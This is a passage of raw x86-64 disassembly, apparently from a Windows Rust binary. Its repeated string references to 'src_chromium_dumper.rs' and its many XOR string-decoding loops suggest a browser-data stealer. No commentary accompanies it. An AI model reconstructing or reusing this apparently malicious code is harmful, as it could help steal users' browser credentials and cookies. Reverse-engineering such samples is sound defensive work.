mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rdi, rcx
or rdi, 6
mov r13, rcx
or r13, 7
movzx edi, byte [rdi + r15]
movzx r13d, byte [r13 + r15]
shl r13, 0x38
shl rdi, 0x30
or rdi, r13
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011c862
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xca49
mov word [rsp + 0x118], ax
xor cl, 0x67
mov byte [rsp + 0x11a], cl
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x117]
mov dword [rsp + 0x397], eax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0xb
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14000805b
mov rsi, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x288]
mov rdx, rsi
call fcn.14004b6a0
mov rdi, qword [rsp + 0x288]
mov r8, qword [rsp + 0x298]
mov rcx, rbp
mov rdx, rdi
call fcn.14012ef67
mov rcx, rbp
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
lea rcx, [0x140007e8f]
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x480]
mov qword [rsp + 0x120], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x128], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r14
lea rdx, [0x140447a10]
mov r9, rbp
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x290]
mov rcx, rdi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rsi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400a290b
mov rsi, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, rbp
mov rdx, rsi
call fcn.14004ac70
mov rdi, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
mov rcx, rdi
call fcn.14013be75
mov qword [rsp + 0x1e0], rax
mov rcx, r14
call fcn.140098e8a
mov rdx, qword [rsp + 0x118]
mov rcx, rdi
call fcn.14015e77d
mov rcx, rsi
mov rdx, r15
call fcn.14015e77d
lea rax, [0x1404442a9]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0x35f8b52e0203be8
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.1401406cb
and dword [rsp + 0x118], 0
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
lea r15, [0x140447a78]
test dl, 1
je 0x14011cc35
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov r13, rcx
or r13, 7
mov rdi, rcx
or rdi, 6
movzx edi, byte [rdi + r15]
movzx r13d, byte [r13 + r15]
shl r13, 0x38
shl rdi, 0x30
or rdi, r13
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011cb89
mov ecx, 8
cmp rcx, 0xb
ja 0x14011cc67
movzx edx, byte [rcx + r15 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r15]
add edx, r8d
add edx, 0x8f000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x110], edx
add rcx, 4
jmp 0x14011cc3a
movzx eax, word [rax + 0xc]
xor eax, 0x6674
mov word [rsp + 0x11c], ax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x116]
mov qword [rsp + 0x396], rax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0xe
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14000805b
mov rsi, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x288]
mov rdx, rsi
call fcn.14004b6a0
mov rdi, qword [rsp + 0x288]
mov r8, qword [rsp + 0x298]
mov rcx, rbp
mov rdx, rdi
call fcn.14012ef67
mov rcx, rbp
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
lea rcx, [0x140007e8f]
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x480]
mov qword [rsp + 0x120], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x128], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r14
lea rdx, [0x140447a10]
mov r9, rbp
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x290]
mov rcx, rdi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rsi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400a290b
mov rsi, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, rbp
mov rdx, rsi
call fcn.14004ac70
mov rdi, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
mov rcx, rdi
call fcn.14013be75
mov qword [rsp + 0x1e0], rax
mov rcx, r14
call fcn.140098e8a
mov rdx, qword [rsp + 0x118]
mov rcx, rdi
call fcn.14015e77d
mov rcx, rsi
mov rdx, r15
call fcn.14015e77d
lea rax, [0x14043c778]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
movabs rax, 0xa135b920c19ddd83
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
call fcn.14013f69e
and qword [rsp + 0x110], 0
mov dl, 1
xor ecx, ecx
lea r15, [0x140447aa0]
test dl, 1
je 0x14011cf73
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rdi, rcx
or rdi, 6
mov r13, rcx
or r13, 7
movzx edi, byte [rdi + r15]
movzx r13d, byte [r13 + r15]
shl r13, 0x38
shl rdi, 0x30
or rdi, r13
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x110], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011cec7
movzx eax, word [rax + 8]
xor eax, 0xb1ed
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x390], rcx
mov word [rsp + 0x398], ax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0xa
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x190]
call fcn.140265730
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14000805b
mov rdi, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x288]
mov rdx, rdi
call fcn.14004b6a0
mov rsi, qword [rsp + 0x288]
mov r8, qword [rsp + 0x298]
mov rcx, rbp
mov rdx, rsi
call fcn.14012ef67
mov rcx, rbp
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
lea rcx, [0x140007e8f]
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x480]
mov qword [rsp + 0x120], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x128], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r14
lea rdx, [0x140447a10]
mov r9, rbp
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x290]
mov rcx, rsi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400a290b
mov rsi, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, rbp
mov rdx, rsi
call fcn.14004ac70
mov rdi, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
mov rcx, rdi
call fcn.14013be75
mov qword [rsp + 0x1e0], rax
mov rcx, r14
call fcn.140098e8a
mov rdx, qword [rsp + 0x118]
mov rcx, rdi
call fcn.14015e77d
mov rcx, rsi
mov rdx, r15
call fcn.14015e77d
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x460]
call fcn.14015e77d
mov r15, qword [rsp + 0x3b0]
mov rsi, qword [rsp + 0x268]
mov rcx, rsi
mov rdx, qword [rsp + 0x2b8]
call fcn.14015e77d
mov rcx, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x3d0]
call fcn.14015e77d
mov rcx, qword [rsp + 0x28]
mov rdx, r15
call fcn.14015e77d
mov rdi, qword [rsp + 0x270]
jmp 0x14011c050
lea rsi, [rsp + 0x1e0]
mov rcx, rsi
call fcn.14012d777
lea r13, [rsp + 0x2c0]
mov qword [r13], 2
mov rcx, r13
call fcn.1402825af
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.1400055fd
lea rax, [0x1404428af]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x6a4abca0a6ee4b4
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.14013f934
and word [rdi + 4], 0
and dword [rdi], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140446790]
lea r12, [0x140007e8f]
test r8b, 1
je 0x14011d2a6
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14011d24f
movzx eax, word [rax + 4]
xor eax, 0x285d
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x288], ecx
mov word [rsp + 0x28c], ax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 6
mov rax, qword [0x1403a00a0]
mov qword [rsp + 0x1a0], rax
lea rax, [0x140441154]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x7113d6a4deec53ee
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f80a
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140446796]
test r8b, 1
je 0x14011d3d6
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, rdx
or r14, 6
mov r15, rdx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r14
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x14011d32e
mov edx, 8
cmp rdx, 0xb
ja 0x14011d409
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x2b000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011d3db
mov al, byte [rax + 0xc]
xor al, 0x5a
lea rdi, [rsp + 0x30]
mov byte [rdi + 0xc], al
mov rax, qword [rdi]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rdi + 5]
mov qword [rsp + 0x3e5], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 0xd
mov qword [rdi], r13
lea rcx, [0x140076e7c]
mov qword [rdi + 8], rcx
lea rax, [rsp + 0x1a0]
mov qword [rdi + 0x10], rax
lea rax, [fcn.140050160]
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rsi
mov qword [rdi + 0x28], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], r12
mov qword [rsp + 0x20], 4
lea rdx, [0x140446740]
lea rbx, [rsp + 0x110]
mov r8d, 5
mov rcx, rbx
mov r9, rdi
call fcn.140004cc3
mov rcx, rbx
call fcn.1402594b0
lea rax, [0x1403a0090]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x14002b31c]
mov eax, 2
mov qword [rdi], rax
mov qword [rdi + 0x10], rax
and qword [rdi + 0x20], 0
mov qword [rsp + 0x1e8], rcx
movabs rcx, 0x400000020
mov qword [rdi + 0x28], rcx
mov byte [rdi + 0x30], 3
lea rcx, [0x14045c198]
mov qword [rbx], rcx
mov qword [rbx + 8], rax
mov qword [rbx + 0x20], rdi
mov eax, 1
mov qword [rbx + 0x28], rax
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rax
lea rcx, [rsp + 0x110]
call fcn.1402594b0
mov qword [rsp + 0x458], 8
xorps xmm6, xmm6
movups xmmword [rsp + 0x460], xmm6
lea rax, [0x140438dc5]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x2eb5ddbf8e7ea1ad
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.1401403b2
and dword [rdi + 0x10], 0
movaps xmmword [rdi], xmm6
xor edx, edx
lea rcx, [0x140446171]
cmp rdx, 0x10
jae 0x14011d58a
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
add rdx, 8
jmp 0x14011d571
mov edx, 0x10
cmp rdx, 0x13
ja 0x14011d5bd
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x89000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011d58f
mov al, byte [rax + 0x14]
xor al, 0x17
lea rsi, [rsp + 0x30]
mov byte [rsi + 0x14], al
movaps xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsi + 0xd]
mov qword [rsp + 0x1ed], rax
xor edi, edi
mov ecx, 0x15
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [rax], xmm0
mov rcx, qword [rsp + 0x1ed]
mov qword [rax + 0xd], rcx
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x15
lea rcx, [rsp + 0x458]
mov rdx, rsi
call fcn.140007364
lea rax, [0x14043cab4]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x7079fb0815092b8e
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013dcbc
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446186]
test dl, 1
je 0x14011d6fb
movzx r8d, byte [rdi + rcx]
mov rdx, rdi
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rdi
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rdi
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rdi
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rsi, rdi
or rsi, 5
movzx esi, byte [rsi + rcx]
mov rbx, rdi
or rbx, 6
mov r14, rdi
or r14, 7
movzx ebx, byte [rbx + rcx]
movzx r14d, byte [r14 + rcx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rbx
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
mov edi, 8
xor edx, edx
jmp 0x14011d656
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x7237
lea rsi, [rsp + 0x30]
mov word [rsi + 8], ax
xor cl, 0xe6
mov byte [rsi + 0xa], cl
mov rax, qword [rsi]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsi + 7]
mov dword [rsp + 0x1e7], eax
xor edi, edi
mov ecx, 0xb
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x1e0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x1e7]
mov dword [rax + 7], ecx
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0xb
lea rcx, [rsp + 0x458]
mov rdx, rsi
call fcn.140007364
lea rax, [0x1404431f7]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x5af3c3ab1376228f
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e50e
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
lea rcx, [0x140446191]
cmp rdi, 0xf
ja 0x14011d7b8
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x14011d79f
movzx ecx, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
xor eax, 0xbed6
lea rdi, [rsp + 0x30]
mov word [rdi + 0x10], ax
xor cl, 0x8a
mov byte [rdi + 0x12], cl
movaps xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x1e0], xmm0
mov eax, dword [rdi + 0xf]
mov dword [rsp + 0x1ef], eax
xor esi, esi
mov ecx, 0x13
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [rax], xmm0
mov ecx, dword [rsp + 0x1ef]
mov dword [rax + 0xf], ecx
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], 0x13
lea rcx, [rsp + 0x458]
mov rdx, rdi
call fcn.140007364
lea rax, [0x140445885]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0xa8ca728493555df4
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140140b18
and dword [rdi + 8], 0
and qword [rdi], 0
mov dl, 1
lea rcx, [0x1404461a4]
test dl, 1
je 0x14011d906
movzx r8d, byte [rsi + rcx]
mov rdx, rsi
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rsi
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rsi
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rsi
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rbx, rsi
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r15, rsi
or r15, 7
mov r14, rsi
or r14, 6
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
or rdx, r14
xor rdx, qword [rax + rsi]
mov qword [rsp + rsi + 0x30], rdx
mov esi, 8
xor edx, edx
jmp 0x14011d860
mov edx, 8
cmp rdx, 0xb
ja 0x14011d939
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xae000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011d90b
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0x90d
lea rsi, [rsp + 0x30]
mov word [rsi + 0xc], ax
xor cl, 0x47
mov byte [rsi + 0xe], cl
mov rax, qword [rsi]
lea r14, [rsp + 0x1e0]
mov qword [r14], rax
mov rax, qword [rsi + 7]
mov qword [r14 + 7], rax
mov ecx, 0xf
xor edx, edx
call fcn.1401674a3
mov rcx, qword [r14]
mov r8, qword [r14 + 7]
mov qword [rax], rcx
mov qword [rax + 7], r8
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0xf
lea rcx, [rsp + 0x458]
mov rdx, rdi
call fcn.140007364
mov rdx, qword [0x1403a0090]
mov r8, qword [0x1403a00a0]
mov rcx, rsi
call fcn.14011944f
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
imul r15, qword [rsi + 0x10], 0x18
add r15, rax
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x3f8], r15
lea rbx, [0x140446268]
cmp rax, r15
je 0x14011dc3b
lea rbp, [rax + 0x18]
mov rcx, qword [rax]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x480], xmm0
test rcx, rcx
je 0x14011dc38
mov qword [rsp + 0x340], rcx
movdqa xmm0, xmmword [rsp + 0x480]
lea rax, [rsp + 0x348]
movdqu xmmword [rax], xmm0
lea rax, [0x140439f12]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xea68bcd396d44443
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f8e5
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011db0c
movzx r8d, byte [rcx + rbx]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbx]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbx]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbx]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbx]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + rbx]
mov r12, rcx
or r12, 6
mov r13, rcx
or r13, 7
movzx r12d, byte [r12 + rbx]
movzx r13d, byte [r13 + rbx]
shl r13, 0x38
shl r12, 0x30
or r12, r13
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r12
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011da65
mov ecx, 8
cmp rcx, 0xb
ja 0x14011db3a
movzx edx, byte [rcx + rbx + 2]
shl edx, 0x10
movzx r8d, word [rcx + rbx]
add edx, r8d
add edx, 0x8b000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x14011db11
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x3c0], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x3b8], rax
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 0xc
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, rdi
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
lea rcx, [rsp + 0x288]
mov rdx, rdi
call fcn.14012d661
mov r12, qword [rsp + 0x288]
mov r13, qword [rsp + 0x290]
mov r8, qword [rsp + 0x298]
mov rcx, rdi
mov rdx, r12
call fcn.14004b6a0
lea rcx, [rsp + 0x458]
mov rdx, rdi
call fcn.140007364
mov rcx, r12
mov rdx, r13
call fcn.14015e77d
mov rcx, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x348]
call fcn.14015e77d
mov rax, rbp
jmp 0x14011d9e8
mov r15, rbp
lea rcx, [rsp + 0x3e0]
mov qword [rcx + 0x10], r15
call fcn.140118055
mov ecx, 0x48
mov edx, 8
call fcn.1401e032d
mov qword [rsp + 0x28], rax
lea rax, [0x14043f263]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0xfdf670e118f026fc
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f0ce
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1404461b3]
test r8b, 1
je 0x14011dd4d
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rsi, rdx
or rsi, 4
movzx esi, byte [rsi + rcx]
mov rdi, rdx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 6
mov r14, rdx
or r14, 7
movzx ebx, byte [rbx + rcx]
movzx r14d, byte [r14 + rcx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x14011dca6
mov edx, 8
cmp rdx, 0xb
ja 0x14011dd80
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x97000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011dd52
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x1e8], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x1e0], rax
xor esi, esi
mov ecx, 0xc
xor edx, edx
call fcn.1401674a3
mov r15, rax
mov r14, rdx
mov rax, qword [rsp + 0x1e0]
mov qword [r15], rax
mov eax, dword [rsp + 0x1e8]
mov dword [r15 + 8], eax
lea rax, [0x140441c70]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x70722db1e67c6d8d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14014017c
and dword [rsp + 0x33], 0
and dword [rsp + 0x30], 0
mov dl, 1
lea rcx, [0x1404461bf]
test dl, 1
je 0x14011de58
movzx edx, byte [rsi + rcx]
mov r8, rsi
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rsi
or r9, 3
mov r10, rsi
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
